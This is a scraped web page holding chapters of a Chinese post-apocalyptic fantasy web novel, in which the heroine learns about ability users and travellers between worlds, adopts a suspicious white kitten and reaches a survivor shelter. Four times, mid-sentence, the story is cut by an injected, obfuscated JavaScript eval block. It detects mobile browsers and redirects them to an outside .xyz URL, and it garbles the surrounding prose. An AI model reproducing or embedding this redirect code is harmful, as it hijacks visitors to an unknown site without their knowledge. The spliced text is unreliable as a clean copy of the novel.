她低下头,安静地擦拭眼皮,因为看不到具体位置,能否擦干净全凭运气。 “你对能力者的认识,有多少?” 对面的青年开口。 “能力者,就是天赋者,是末日降临前一个月觉醒能力的人。”池遥整理着自己的认知,回答道。 当然也有意外,比如她自己。 她属于能力者,却不是天赋者。 “能力者是所有拥有能力的人的统称。”殷蘅纠正她的话,“分为天赋者,变形人,觉醒者三类。成为能力者后,寿命会延长到普通人的几倍,身体会维持觉醒能力时的年龄状态将近百年,百年后才以比普通人更缓慢的速度老化。” 他放缓了语速,慢慢给池遥讲述起来。 天赋者大致上与池遥的认知一样,是末日降临的前一个月,被赋予能力的人。天赋者生下的孩子也有概率成为天赋者。 而变形人,则是在强烈渴望中自行觉醒异能,被反噬成怪物的普通人。池遥之前一直把他们称为行尸,将他们与丧尸相提并论。但在殷蘅的描述中,并不是所有变形人都是丧尸形态,不同人变成变形人后表现出的特征各不相同。一部分陷入疯狂状态,一部分保留原本意识,但都由于物种转变出现难以克制的生物本能,比如变形,杀戮,繁殖等等。由于大部分会显现出变形的特征,而被叫做变形人。 而觉醒者则是极少部分自行觉醒异能后仍旧保持人类形态的人类。也就是池遥所归属的类别。这一类人数量极少,极其稀有。 “觉醒者初期的能力十分弱小,因此,一旦有新的觉醒者出现,会立刻被其他天赋者猎杀。” “为什么?”池遥不解。 “比如,天赋者的能力可以一天生产一个杯子,那么无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369635|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生什么变化,一天都只能生产一个杯子。”殷蘅拿着桌上的杯子摆件给池遥举例,“天赋者的能力无法升级,但可以随着对能力的理解而不断开发。” “也就是说,天赋者最多只能从一天生产一个小杯子变成每天生产一个大杯子。这是天赋者自身能够开发的范畴。” “但觉醒者不同。假设一个天赋者的能力可以每天生产一个杯子,如果遇到了重大变故,能力升级后,真的有可能做到一天生产两个杯子。”殷蘅另一只手举起桌上的另一只杯子,向池遥示意,“不仅如此,或许未来还会觉醒其他能力,比如每天生产两个盛满热茶的杯子。” “就像我刚才举的例子一样。觉醒者的能力可以不停升级,甚至会觉醒多种能力。如果放任觉醒者成长下去,未来一定会威胁到天赋者的地位,所以觉醒者一旦身份暴露,就会遭到天赋者的追杀。” 池遥这下彻底明白了。 她在常青中学因为能力耗尽而晕倒的时候,就经历了一次能力升级,升级后,不仅本身的治愈能力得到了提升,还获得了抽取生机的新能力。 因此,她就拥有了两种彼此之间相辅相成的能力。 而这,正是天赋者们忌惮觉醒者的原因。 “但觉醒者极其少见,而且不容易判定。所以,很多能力强大的天赋者也会被怀疑是觉醒者。”说到这里,殷蘅扯了扯嘴角,露出一个略显讽刺的笑容,只是由于他苍白的脸色,这个笑容也显得无力。 “原来是这样。”池遥点点头。 看来,她要比过去更加努力,隐瞒好自己的身份。 “那么,‘世界’又是怎么一回事呢?” 得知了能力者的具体分类,池遥立刻问起了她最感兴趣的话题。 殷蘅又蹙起了眉。 “你......接触过平行世界,或者平行时空的概念吗?” 半晌,他才慢吞吞地开口。 “嗯。”池遥点点头,渐渐理解他要说什么了。 她的好舍友孟然是某超级英雄大片的忠实拥护者,带着全寝室补了全系列电影,她自然清楚平行时空的概念。 “想象一下,在你所生活的世界之外,还存在着与你的世界完全平行,正常情况下难以接触的其他世界。这些世界或许与你生活的世界相似,也有可能截然不同。” “用你所在的世界的用语解释,就像一个浩瀚的宇宙当中,存在无数和你的世界一样的小世界,这些小世界就像宇宙间的不同星球一样,互不相干,没有联系。但是随着时间流逝,宇宙也在发生改变。总会有办法让两个不同的世界联系起来的。比如你的世界建立了航天工程,与其他星球建立了联系。我们所在的小世界也是这样。” 池遥点点头。 “我们把像宇宙一样,众多小世界的集合体称为大世界。” “而末日,则是一场感染大世界的病毒。不同的末日降临在所有小世界中,被末日席卷的小世界内发生剧变,比如能力者的出现,就是末日的影响。” “当然,末日的影响不止如此,被末日影响的小世界内会产生被称为‘景点’的独立空间。只有能力者才有进入景点的资格。只要能够活着通过景点,就可以穿越到其他小世界内。” “这就是末日对小世界的另一重影响,它将原本互不干扰的众多小世界连接在了一起。” 52. 旅人与世界4 池遥努力处理脑内刚刚接收到的大量信息。 她所在的世界只是众多小世界的一个,而末日也是所有小世界共同存在的危机。 末日降临后的世界会出现只有能力者才能进入,被称为“景点”的空间,只有通关景点才能去到下一个世界。 就比如曲卓等人去到的香林山景区,就是一个“景点”。 她顿时想到了一个更为合理的词汇。 副本。 因此,只有能力者才有自由出入不同世界的资格。 “但是,不同小世界被末日破坏的程度不同,有些小世界已经接近毁灭,有些小世界的末日因素并不严重。因此,大部分能力者并不会选择去到其他世界。” 池遥点点头。 按照殷蘅的描述,她的世界所遭受的末日因素只有丧尸而已,所谓行尸也只是能力者的分支。丧尸并不难对付,比起其他情况未知的世界,还是留在自己的世界更为安全。 “但是,一直以来,都有一个传说。”说到这里,原本一直垂着头的殷蘅忽然抬头看了池遥一眼,他色泽浅淡的眼睛里闪着微弱的光,“传说在所有被末日侵染的小世界当中,唯一一个没有被末日波及到的小世界名为伊甸。” “去到伊甸的人,可以实现一个愿望。” 他的声音愈发轻了。 池遥托腮打量着对面的人。 他的目光十分复杂,似渴望,似拒绝,说出伊甸这两个字的时候,像描述一场未尽的美梦。 “很多能力者为了寻找伊甸,踏上了在不同小世界里穿行的旅途。这些穿越不同世界的能力者,被称为旅人。但据说能够进入伊甸实现愿望的旅人是有限制的。伊甸是大多数旅人的目标,所以旅人之间往往是相互竞争厮杀的关系。” “第一次通过景点后,会在脑海中自动形成一本护照,每通过一个景点,护照页中就会多一个印章,印章内刻着下一个小世界的名字。可以选择前往下一个世界,或者回归景点入口处。” 怪不得叫做旅人和景点。 池遥在心中暗暗点头,这些流程虽然凶险,但听起来和现实中的旅行还挺相似的。 “不过,去往下一个世界后会传送到下一个世界的随机地点,如果和同伴一起通过景点,会在下一个世界失散。” 看来,如果曲卓去到下一个世界,肯定会和同伴失散了。 想到自己闺蜜身边那个身份未知的人,池遥心中一时间五味杂陈。 “还有什么问题吗?” 殷蘅问她。 尽管殷蘅刚才的话语已经解答了池遥的大部分疑问,但还有不少问题尚未得到回答。 “既然,你说我们的世界是由不同的小世界构成的,那么这些小世界之间,时间流速一样吗?” “不同小世界之间时间流速一致,都遭受末日,但末日的进程不一样。比如你所在的世界是近期刚刚遭到末日侵袭的,但所有世界中最早遭到末日的是一个叫做方舟的世界。在将近一百年前遭受了大洪水的侵袭。” “同样,一定还有暂时还没受末日影响的世界,但我们只能去到末日已经降临的世界。” 池遥点了点头。 “我还想知道,这个东西,你知道具体是什么吗?” 她微微低头,用手指整理了一下衣领,露出脖颈上的吊坠。 这是她在行尸身上发现的物品,拥有特殊的收纳功能。 “这是空间吊坠,一种特殊道具。特殊道具也是景点的产物,只有能力者能够使用。大多数特殊道具是景点发放的,除此之外也有很多流通方式。” 殷蘅看着池遥手中的吊坠。 “你稍微对它发动能力试试。” 池遥一愣,随后立刻照做。 就在掌心中的暖流接触到吊坠表面时,脑海中突然出现了几行字。 【空间吊坠】 基础款空间储物道具,能力者人均拥有的必备好物,触碰存取,方便好用。 她怎么从来没想到过这种办法! 接下来,她又小心翼翼地从吊坠中取出了在长宁街幼儿园找到的小黄鸭,输入一点能力。 【爆炸小黄鸭】 外表是普通橡胶小黄鸭,脱手三秒后立刻触发爆炸,爆炸半径一米,威力普通。可回收重复使用。(注:危险道具,请勿当做普通玩具玩耍) 这简介还挺贴心。 确定了小黄鸭的功能,池遥立刻将小鸭子收回吊坠内,防止误触引发爆炸。 看来未来遇到特殊道具的时候,都要养成用能力试探一下的好习惯。 最后一个问题,关乎坐在她对面的青年。 “殷蘅你也是旅人对吗?那你也想找到伊甸吗?” 听到她的话,殷蘅抬起头,与她对视,目光在一片黑暗里摇曳着。 “嗯。”他沉默了一会儿,点点头。 “我确实想要找到伊甸。但这一次是想去其他世界,途中经过这里的,很快就会从景点离开。” 想去往其他世界,途中经过这个世界。 池遥在心中把殷蘅的话咂摸了一遍。 看来,他有自己的目的和路线,那么通过景点去到的世界也是有迹可循的。 只不过,殷蘅刚才告诉池遥的情报中并不包含这些,她暂时也用不到。于是就换了个话题。 “你刚刚在药房里,是要找什么药吗?” 池遥翻翻自己的吊坠,吊坠里的物品她心里有数,确实有些药物,只不过都是她从未见过,也不常用的药物。 “止痛药。”殷蘅很快就回答了。 随即,一只手伸到了他面前,掌心是一板药片和配套说明书。 “不用。”他轻轻把池遥的手推了回去,“我要找的止痛药,这个世界没有的。” 池遥就收回了手,把药收回去,又问:“你找止痛药做什么?你受伤了吗?” “我......” 殷蘅刚说出一个字,就被一只手拉住,肌肤相触的地方立刻产生了柔和的热度。 池遥拉住了殷蘅的手,小心翼翼地动用了能力。 殷蘅低下头,默默打量着她的手。 池遥的手对于同等身材的女生来说偏大,但和殷蘅的手一对比,还是小了不少。 池遥的手骨肉匀称,白皙柔软,手指纤细,葱白的指尖与微短的指甲盖都十分整洁漂亮,握住殷蘅的手时,十分温暖。 温暖到,殷蘅能明显感受到一股暖流顺着他的手涌入体内。 这是一双养尊处优,从未经历过任何磨难的手。 池遥没敢输送太多能力,但这一次使用的能力也足够治疗一个重伤者了。 然而,殷蘅却没有任何变化。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374536|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对其他人使用能力时,池遥总能立刻探查到对方的身体情况,但殷蘅的身体却像个无底洞,尽管接受了她的治疗,却给不出任何反馈,如同一具尸体。 很快,她就松开了手。 “感觉如何?”她小心地问了一句,“我的能力可以治愈伤口,你如果受伤了的话,我至少能让你感觉好一点。” 殷蘅似乎是听了她的话才意识到池遥刚刚在他身上使用了能力,他的目光在池遥身上停顿了一会儿,很快又垂下眼,遮掩住眼睛里的情绪,淡淡地开口。 “非常感谢。” 他只表达了谢意,却并没有提及自己的感受。 再次来到街道上时,天色已经大亮,街道上亮堂堂的,已经是午后了。 池遥刚从窗户中看到室外的景象时只觉得地上有什么亮晶晶的东西在反光,走出门才发现,外面不知何时,下起了小雪。 北城的初雪,终究还是来了。 她忽然想起了末日降临的前一天,她和曲卓讨论着骤降的气温,一如既往走在街道上,讨论气候,讨论博物馆见闻,讨论明后天可恶的专业课。 北城往年的初雪都在十一月下旬,今年的气候很反常,降温时间很早,但初雪时间却比以往晚了整整一个月。 池遥停下脚步,伸出手来去接落下的雪花,可惜雪不大,雪花一落到掌心里就融化了,落到地上的也很快化成了水。 殷蘅走到池遥身侧,在池遥停下脚步时,也默契地紧跟着停下了脚步。 二人齐齐抬头看向天空。 “现在的气候正常吗?”殷蘅忽然开口问道。 “正常啊。”池遥没懂他的问题,“以前下雪更早一些。” 于是,身旁的人就点点头,朝着池遥的反方向转身,准备离开。 “等等!” 池遥在他身后叫住了他。 殷蘅转过身。 在这样冷的天气里,尽管身体素质强化得比普通人更加抗冻,池遥也得把羽绒服裹得严严实实,走出门不久,脸就冻得微红,呼吸之间吐出的热气变成白雾。 然而殷蘅却仍旧是那副装束,那副模样,连吐息都没有任何雾气,仿佛他整个人被冰封住了一般。 “不和我一起走吗?” 池遥问他。 “我们不同路。” 殷蘅回答得很快。 “不同路?” 池遥在出门前特意对照着地图查了香林山景区的方向,与她要去的江北避难所方向一致。 因此,尽管已经得知曲卓的去向,但她还是要先去一趟江北避难所,确认同伴们平安后,再出发去往香林山景区。 “可你不是要去那个景点吗?” 池遥还记得殷蘅的话,他只是路过这个世界,很快就要离开了。 听到池遥的话,殷蘅没有回答,他不否认,也不答应,只慢慢低下了头。 啊...... 看到他这个反应,池遥立刻就意识到了。 殷蘅并不想和她同路吧。 “那我先走啦!以后有机会再见面吧!” 她立刻朝对方告别,转身朝着江北避难所的方向迈开了脚步。 看来,她要走的终究还是她一个人的旅途啊。 至于殷蘅,只是她在旅途中遇到的一个特别的人,仅此而已。 53. 卓越新区1 走出一定距离,池遥再次在路上看到了丧尸的踪迹。 这下,她彻底和殷蘅分开了。 在常青中学待了将近一个月,再次外出的时候,池遥能感觉到,丧尸的行动明显变得更加迟钝了。 或许是因为进一步下降的气温,她在街道上遇到的不少丧尸身上都结了冰,看上去极为狼狈。这也让它们的动作更加僵硬,池遥时不时还能在路边发现浑身结冰倒在路面上的丧尸。 不仅如此,街道上的丧尸密度明显比十月份的时候降低了。 一阵寒风吹来,池遥不由地裹紧了外套,打了个寒战。 冬季的低温限制了丧尸的行动,这是好事。 但也让她的行动更加艰难了。 池遥叹了口气。 她想起了末日降临不久时,她和郑承一起走路去北城大学的那天。 那个时候气温虽然低,但不影响行动,他们两个人可以从早走到晚。但现在,每走一段路,池遥就得找个没有丧尸的室内空间缓一会儿,驱散身上的寒气,等濒临冻僵的身体暖和起来再出发,周而复始。 这样下来,原本走路一天就能到的目的地,硬生生要拖好几天。 一下午,她只走完了三分之一的路程。 第二天,池遥一醒来,就感觉到了比昨天还要刺骨的冷气。 初雪后的第二天,气温骤降。 池遥在羽绒服外套里面又加了一层棉马甲,围上厚实的帽子和围巾,将本就不大的脸遮挡上一大半,只露出一双眼睛,把自己全副武装成一只臃肿的企鹅,才有勇气出门。 希望其他的朋友都已经平安抵达新避难所了。 还有林晟。 想到林晟,又想到昨天和殷蘅的对话,池遥只觉得心脏一阵钝痛。 要是能早点遇到殷蘅就好了。 这样的话,她就能告诉林晟,他的真实身份并不是与丧尸相提并论的行尸,而是与天赋者一同被归类为能力者的变形人了。 她在心里默默叹了口气。 昨天的小雪落到地上没一会儿就化了,到了今天一降温,路面上就结了冰,反而更难步行。 池遥一边走,一边观察四周,比起处处小心翼翼的她,行动受阻更严重的是街上的丧尸,一旦池遥看到远方有丧尸滑倒,就会更加注意脚下。 没走多远,就听到身后传来很大的动静。 似乎有不少丧尸朝着她的方向跑来,又因为结冰的路面一个接一个摔倒。 她连忙加快了脚步,回头望去。 池遥身后大约十几米远,是一个十字路口。此时,与池遥所在的街道交叉的路段中突然冲出了不少丧尸,大部分丧尸都滑倒在地,唯有几只丧尸坚强不息地追逐着它们前方的一团毛球状物体。 池遥定睛一看。 跑在最前方的小东西浑身雪白,毛发蓬松干净,一双玻璃珠似的蓝眼睛,浑身上下透着狡黠又讨人喜欢的气质,看到池遥时,立刻发出了一声黏人又讨好的叫声。 “喵呜!” 是一只无论从哪个角度看都相当漂亮,乖巧,讨人喜欢的小猫。 眼看着小猫朝着她的方向窜来,池遥急忙快跑几步,晃晃悠悠脚打滑地跑过一块结冰路面,然而小猫比人类敏捷得多,几步追上了她,丝毫不怕人,自来熟地顺着她的外套直接爬到了她的肩膀上。 这下,一路追逐着小猫过来的两只丧尸也立刻发现了池遥这个人类,池遥不得不出手了。 “唉。” 池遥从吊坠里找出钢管,隔着手套握紧,几下解决了面前的两只丧尸,在她身形随着战斗而偏转挪移时,小猫一直稳稳地扒在她肩膀上,稳若磐石。 幸好更多的丧尸已经滑倒在地,丧尸的行动和动作不比人类灵活,滑倒后要挣扎好一会儿才能爬起来,趁着这个时间,池遥快速前进,没一会儿就甩开了身后的丧尸。 这期间,雪白的小猫一直乖乖趴在她身上。 走了一会儿,池遥只觉得暴露在冷空气里的上半部分皮肤有点麻麻的,立刻走进了街边的一间店铺里,顺着楼梯来到了楼上。 确认周围安全后,池遥找了个干净的地方坐下来,伸出手,将肩膀上热烘烘的小东西摘下来,揣在怀里。 小猫个头不大,看起来只有几个月大,池遥能很轻易地单手抱起它。 她将小猫翻来覆去检查了一遍,小东西十分配合,全程窝在她腿上,任由池遥折腾,只有当池遥摸到它的肚子时才象征性地挣扎几下。 这是一只浑身上下干净得过头的小猫,明明在室外奔跑许久,一身雪白的柔顺长毛却没有任何脏污痕迹,连爪子都是粉白色的,刚才爬在池遥身上也没有踩脏她的外套。 看这空有美貌,性格温顺可欺的样子,大概率是一只家养宠物猫。 但当池遥提起它的尾巴时,它一个激灵,拼了命地挣扎起来,池遥便立刻放下尾巴。 只不过,刚才小猫挣扎的时候,她视线也瞥到了小猫尾巴根下方的两个小铃铛,是只小公猫。 池遥一收手,小猫又恢复了软萌温顺的样子,讨好地用小脑袋拱她的胳膊。 “你的主人呢?” 池遥摘下手套,小心翼翼地碰了一下它头顶的绒毛,有一瞬间,柔软的触感让她瞬间想化身石矶娘娘对小猫咪又亲又摸,但残存的理智让她只是克制地顺着毛发纹理慢慢用指尖摸它。 问出此话并不是期待小猫的回应,而是为了梳理她自己的思绪。 “把你养得这么好,主人看到你跑丢了一定很着急吧?” 她放柔了声音,和怀里和她外衣拉链较劲的小猫咪讲道理,然而小猫眼里只有晃动的拉链。 池遥深深地叹了口气。 她伸出手,借着摸小猫的瞬间,用能力探查了一番,这只小猫十分健康,浑身上下没有任何伤口。 “我还有其他事,不能帮你找主人,你能自己回去找主人吗?” 池遥站起身,走到店门口,将小猫放下来,把店门打开了一道缝隙,示意它离开。 被她放到地上的小猫懵懵地抬起头,一双无辜的大眼睛可怜兮兮地盯着她。 池遥没动,依旧保持着开门的姿势,低头与它对视。 然而,小猫反而后退了两步,蹭了蹭池遥的裤腿。 喜欢她的意愿十分明显。 池遥在心里暗暗叹了口气,再次开口时,语气有些无可奈何。 “总不会,你想要跟我走吧?” “喵!” 小猫抬头看着她,很坚定地叫了一声。 池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380804|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遥盯着地上毛绒绒的一团,她居然能从这叫声中感觉到坚定的情绪。 一人一猫僵持了半天,最后是池遥受不了门缝外的冷气,一把关紧了大门。 她又回到了之前坐下的位置,她人一动,小猫也跟着她走了回来,坐在她旁边的地面上,池遥一看它,就朝着池遥叫了一声。 它长得本就可爱,自己似乎也明白这一点,叫声更是刻意夹得娇滴滴,明摆着勾人。 小猫如此主动示好,池遥反而有点犹豫。 “真的要跟着我?” “喵呜!” “如果不想跟着我的话叫一声,想回去找主人的话叫两声。” 小猫的大眼睛滴溜溜看她,闭紧了嘴巴一声不吭。 看来是打定主意非要跟着她了。 池遥伸手再次将小猫捞到膝盖上,小猫乖乖地任由池遥摆弄,池遥拎起它的小肉垫,发现它刚才在并不干净的地面上站了半天,爪子却一点都没有变脏。 这只小猫实在可疑。 池遥一路走来也会注意周围的环境,这附近的几条街道都没有人类停留,这只猫就算有主人,恐怕也不在附近了。 更何况,末日这么久了,连避难所里的人类都未必能吃饱饭,她怀里的小东西却十分健康,比她在常青中学看到的幸存者们还要健康。 而且,昨天刚下了一场大雪,池遥的外套和外裤早就到处是污点了,但怀里的小猫,一只小小的白色长毛猫,居然可以维持如此干净,简直一尘不染的形态。 比起偶遇,更像是一个阴谋。 池遥在脑海中快速回顾了一遍殷蘅的话,殷蘅只提到了觉醒能力的人类,却没有提及动物。 动物会觉醒能力吗? 池遥看过的动漫中有意外开智,拥有特殊能力的小鹿医生,眼前这只明显能听懂人话的小猫咪也一样吗? 还是...... 池遥再次将小猫上上下下打量了一遍。 能力者们的能力有所不同,自己怀里的小猫有没有可能是一只,不,是一个能力者的化身,又或者是能力的具体形态? 例如,有能力者可以变成猫? 又或者,有人的能力是制造出一只小猫? 能力者的范围很大,除了天赋者以外,还包括变形人,也就是行尸。 会不会,在她怀里撒娇的小猫实际上是一个变形人? 众多的可能性在池遥脑海中闪过,最后,她拉开外套拉链,把小猫揣进衣服里。 她的本意是想让小猫暖和一点,结果怀里的小猫浑身热烘烘的,像个小小的火炉,反而是池遥在汲取它的温度。 怀里的小猫似乎察觉到了她的心情,用湿润的鼻尖碰了碰池遥的手,喉咙里发出咕噜咕噜的声音。 算了。 池遥长舒一口气。 它只是一只小猫咪呀,它能有什么坏心思呢? 就算这只小猫的出现真的是个阴谋,她现在一穷二白,对方图她什么呢? 几分钟后,池遥离开室内,继续朝着江北避难所的方向前进。 她的羽绒服里鼓鼓囊囊的,似乎有什么东西在衣服底下乱窜,不一会儿,脖颈的衣领处探出一个暖烘烘,毛茸茸的小脑袋。 她最终还是带上了这只小猫。 54. 卓越新区2 这一天,池遥还是没有到达江北避难所。 到了晚上,池遥找了一个商住两用的店铺,来到了二楼的起居室。 面不改色地将床上染血的被褥全部清理掉,在床垫上铺上了自己的被褥。 她一忙起来就顾不得其他,小猫坐在门口安静地看她铺床,床一铺好,一个雪白团子比池遥动作更快地扑到床上。 好吧,不能跟小猫一般见识。 池遥等了两秒,也倒在自己的床铺上,把蜷缩在床头的小猫捞进怀里。 末日降临之前,池遥就有睡觉抱玩偶的习惯,不过末日降临后就改掉了,现在抱着小猫也很安心。 小猫一如既往的乖巧,在她怀里不挣扎也不乱动,温暖的小身躯紧贴着她。 这一晚,池遥的入睡速度明显比以前快很多。 注意到她睡熟了,怀里的小猫动作轻柔地钻了出来,娇小的身躯只发出一点点声音,回过头,却发现池遥不知何时睁开了眼睛。 她的睡眠太轻,一点风吹草动就会惊醒。 见到是小猫从怀里钻出来了,池遥松了口气,在心里自我检讨了一番,被别人抱在怀里的感受确实不怎么好,于是等小猫在她的床头蜷缩成一团后,才闭上眼睛继续睡。 等池遥再一次睡熟,小猫抬起脑袋,观察了半天,用比之前更加轻的动作支起身子,试图跑开,又听到池遥带着睡意的声音。 “你起来了吗?” 无论它的动作多轻,都会把池遥吵醒。 它沉默一会儿,又默默缩了回去。 在这之后,池遥又被其他的声音吵醒了几次,不过每一次,床头的小猫都乖乖地维持同一个姿势,睡着的样子憨态可掬,十分可爱。 直到早上醒来,池遥睁眼时,小猫仍旧缩成一团,盘在她脑袋附近,似乎睡得很香。 她小心翼翼地爬起来,刚坐起身子,床头的小猫就睁开眼,扭头看了她一眼,眼里没有半分睡意,跳下了床。 池遥将被褥收好,再次出门。 在遇到丧尸时,池遥对丧尸发动了抽取生机的能力,然而,却没有任何反应。 反而是怀里的小猫发出了一声触电般凄惨的叫声。 看来,抽取生机的能力对丧尸并不起效。 这天下午,她终于来到了江北避难所。 江北避难所位于卓越新区的商圈里,周围全部被坚固的围墙圈了起来,池遥绕了一圈都没找到进入的通道,后来才发现附近的地铁站可以直接通到商场底下,而看起来平平无奇的地铁站则是避难所与外界唯一的进出口。 进入卓越新区的流程比池遥预料中简单不少,因为她在守在地铁站入口的人中一眼看到了郑承。 “我们脚程比较快,赶在下雪前就到了。”郑承解释道,“最先到的是吴心语他们,他们的车燃油耗尽前刚好到达附近,我和岳溪是前天早上到的。” 池遥点点头,得知熟悉的伙伴们全员安全到达的消息,心里安定了不少。 卓越新区分为两部分,一大半是被能力者制造的围墙圈起来的商圈区域,包含了一座大型商场和周围的多家大型商店,整个商圈完全被围墙包围起来,密不透风。 而靠近江水的一侧则是两套还没有入户的新小区,小区建在江边,是以观江豪宅闻名整个北城市的顶级楼盘。现在全部分配给避难所里的幸存者。 有郑承和吴心语他们在,池遥正式进入避难所的速度比预想中快了不少,她和吴心语,孟然和赵一宁,一共四人共享一套三室一厅的住宅,往日的伙伴们再度聚齐了。 到了晚上,她和吴心语一起来到了郑承和周文博程煜三人的房子,他们三人住在池遥等人楼下,户型与池遥等人相同,避难所内规定这种户型四人起住,他们把最后一个名额留给了尚未到来的林晟。 然而,在看到独自一人前来的池遥时,他们就预想到了林晟的结局。 池遥先是将庄晴等人的死讯告诉了大家,听完她的描述,没人说话,过了很久,一向理智的程煜第一个开口。 “你说你当时晕倒了,那为什么会知道蔓蔓的死讯?” 池遥沉默了一会儿,两只手指绞在一起,又反反复复摸着怀中小猫的长毛。 随后毫不犹豫地揭了林晟的老底。 “因为林晟。” “林晟让我告诉你们他已经死了。” 她这话一出,围坐在一起的几人都有点激动,其中最激动的人当属他的好室友程煜。 “林晟还活着?” “对。”池遥点点头,脸上的表情却分外沉重,“但是......他没办法和我们继续待在一起了。” “他获得了能力,庄晴等人的死讯,还有蔓蔓的情况都是他通过能力看到的。” “获得了能力?”郑承与池遥一同与变形人作战过,他看看池遥沉重的表情,又仔细思考池遥的话,立刻明白了池遥的言外之意,“你的意思是......林晟他,他变成......了?” 行尸两个字,他实在不愿明说。 池遥微微抬起头,与郑承对视一眼,点了点头。 “他变成行尸了。” 这句话掷地有声,仿佛就此宣判了林晟的命运,围坐在一起的众人顿时沉寂无声,纷纷蹙起眉头。 “喵?” 唯有池遥怀里的小猫轻轻叫了一声。 在得知林晟的情况后,原本因为池遥的到来而开心不已的同伴的表情全部变得凝重了下来。 故友重逢,大家原本有一肚子的话想说,然而,却纷纷沉默了起来。 “要不然今天就先说到这儿吧?”周文博朝两侧扭头看去,坐在他身边的吴心语和郑承均是一副难过模样,“反正池遥今天刚来,还得在这儿适应几天呢!也不急这一天两天的。” “好,”程煜第一个同意,“你觉得呢,池遥?” 能和大家沟通的信息基本上也说完了,池遥点了点头,又看向郑承。 “郑承,还有心语,我还有话想和你们说。” 从殷蘅那里得知的情报,她要分享给郑承他们。 其实周文博的话没说错,如果是以前,池遥的确不着急分享情报,可此时她心里惦记着曲卓的去向,注定不会在江北避难所久留。 在从地铁口进入避难所内部的过程中,池遥仔细观察了整个避难所的防护情况,避难所周围的围墙坚固极了,看起来十分可靠。 想必,这里是能够让大家放心居住的避难所了。 郑承带着池遥和吴心语进了他的房间,被池遥放在地上的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392085|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫也自觉跟着走了进来,等池遥坐下后,又跳到她怀里,找了个舒服的姿势蜷缩起来。 “我从常青中学到这里的时间是不是比你们预想的晚?” “对,比我们想的晚了一两天。但下雪之后又降温,路况不好,也能理解。”吴心语回答。 “和下雪也有些关系,但更主要的原因是,我在路上遇到了一个人,耽误了将近一天的时间。那个人被称为鬼王,他告诉了我很多超乎想象的事。” 池遥将殷蘅讲的内容事无巨细地告知两人。 “所以,我们一直以为行尸和丧尸一样是天敌,实际上行尸只是能力者的一个分类,实际上叫做变形人?” 郑承毕竟和池遥共同杀死过两只行尸,一直以来,他都没有为此感到愧疚,可此时他回想起与池遥共同对付行尸的种种,尽管每一次最后的致命一击都是由池遥进行的,但此时,在得知事实后重新回忆往事,他的手竟然微微发颤。 “对。”池遥点点头,“林晟还不知道这件事。不知道他去哪儿了。但我觉得这件事很重要,如果你们未来遇到他,他还没有失去理智的话,一定要把真相告诉他。” 与池遥分别时,林晟被困在身份的桎梏中无法释怀,如果能亲口告诉他,他不是所谓的行尸,而是变形人,能力者的分支,就好了。 “我知道了。我和周文博现在组成二人组外出巡逻,林晟现在变成什么样子了?我们看看能不能找到他。”吴心语主动接下任务。 “怎么是你们两个?那郑承呢?”池遥愣住了。 “我有其他任务,”郑承开口,“避难所的管理者派我去小区对面的江堤边探查情况,想在开春江水开化前把江堤的一部分也圈到避难所的范围里,试试水产养殖。” 如果避难所能长久发展下去,这的确是个好办法。 池遥从空间里将林晟送的盲盒隐藏款人偶拿出来,递给吴心语。 “林晟现在就长这个样子。” 吴心语盯着手里的骷髅少年,联想到林晟此时的模样,深深叹了口气。 “手变成那样了,还能操作无人机吗?” 此话一出,又牵动了难过的情绪,三人一同沉默了一会儿。 “还有你说的,景点和旅人的那些事。”郑承再开口时,已经换了话题,“池遥,你突然提这些,你是怎么想的?你是不是已经找到你朋友的踪迹了?” “对。”池遥点点头,“曲卓......现在或许已经不在我们所在的世界里了。” “你要追到另一个世界里吗?” 迎着郑承与吴心语担忧的目光,池遥硬着头皮点头。 “嗯。我应该......也会成为旅人吧。” 池遥的手一直放在怀里的小猫身上,说这话时,忽然感受到怀里的猫儿一个激灵。 “那你这次离开避难所之后,我们以后还能见面吗?” 吴心语的声音有点哽咽。 “我......” 大概不会了吧。 